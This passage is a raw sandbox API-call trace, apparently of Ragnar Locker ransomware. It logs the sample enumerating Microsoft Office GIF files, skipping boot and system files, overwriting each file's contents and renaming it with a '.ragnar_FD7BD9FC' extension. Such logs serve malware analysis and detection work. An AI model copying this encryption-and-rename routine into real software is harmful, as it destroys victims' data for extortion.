lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.013] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.013] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.013] GetProcessHeap () returned 0x580000 [0100.013] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.013] CloseHandle (hObject=0x10c) returned 1 [0100.013] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" [0100.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.ragnar_FD7BD9FC" [0100.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.022] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32d300, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8e32d300, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21344_.GIF", cAlternateFileName="")) returned 1 [0100.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.023] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21344_.GIF" | out: lpString1="BD21344_.GIF") returned="BD21344_.GIF" [0100.023] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF") returned=".GIF" [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="autorun.inf") returned 1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="boot.ini") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="bootfont.bin") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="bootsect.bak") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="bootmgr") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="bootmgr.efi") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="desktop.ini") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="iconcache.db") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="ntldr") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="ntuser.dat") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="ntuser.ini") returned -1 [0100.023] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="thumbs.db") returned -1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.023] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif")) returned 0x20 [0100.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.037] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=178) returned 1 [0100.037] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.037] GetProcessHeap () returned 0x580000 [0100.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.037] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.038] VirtualAlloc (lpAddress=0x0, dwSize=0xb2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.038] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.038] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.038] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb2, lpOverlapped=0x0) returned 1 [0100.039] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.039] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb2, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.039] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb2, lpOverlapped=0x0) returned 1 [0100.039] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.039] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.039] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.039] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.039] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.039] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.039] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.039] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.039] GetProcessHeap () returned 0x580000 [0100.039] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.039] CloseHandle (hObject=0x10c) returned 1 [0100.039] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" [0100.040] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.ragnar_FD7BD9FC" [0100.040] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.415] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21364_.GIF", cAlternateFileName="")) returned 1 [0100.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.415] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21364_.GIF" | out: lpString1="BD21364_.GIF") returned="BD21364_.GIF" [0100.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF") returned=".GIF" [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="autorun.inf") returned 1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="boot.ini") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="bootfont.bin") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="bootsect.bak") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="bootmgr") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="bootmgr.efi") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="desktop.ini") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="iconcache.db") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="ntldr") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="ntuser.dat") returned -1 [0100.415] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.416] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="ntuser.ini") returned -1 [0100.416] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="thumbs.db") returned -1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.416] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif")) returned 0x20 [0100.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.417] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=245) returned 1 [0100.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.417] GetProcessHeap () returned 0x580000 [0100.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.417] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.418] VirtualAlloc (lpAddress=0x0, dwSize=0xf5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.418] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf5, lpOverlapped=0x0) returned 1 [0100.419] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.419] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.419] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf5, lpOverlapped=0x0) returned 1 [0100.419] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.419] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.419] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.419] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.419] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.419] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.419] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.420] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.420] GetProcessHeap () returned 0x580000 [0100.420] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.420] CloseHandle (hObject=0x10c) returned 1 [0100.420] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" [0100.420] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.ragnar_FD7BD9FC" [0100.420] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.421] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21365_.GIF", cAlternateFileName="")) returned 1 [0100.421] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.421] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21365_.GIF" | out: lpString1="BD21365_.GIF") returned="BD21365_.GIF" [0100.421] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF") returned=".GIF" [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="autorun.inf") returned 1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="boot.ini") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="bootfont.bin") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="bootsect.bak") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="bootmgr") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="bootmgr.efi") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="desktop.ini") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="iconcache.db") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="ntldr") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="ntuser.dat") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="ntuser.ini") returned -1 [0100.421] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="thumbs.db") returned -1 [0100.421] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.422] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif")) returned 0x20 [0100.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.422] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=236) returned 1 [0100.422] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.422] GetProcessHeap () returned 0x580000 [0100.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.423] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.423] VirtualAlloc (lpAddress=0x0, dwSize=0xec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.424] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xec, lpOverlapped=0x0) returned 1 [0100.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.424] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xec, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.424] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xec, lpOverlapped=0x0) returned 1 [0100.424] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.424] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.424] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.424] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.424] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.424] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.425] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, 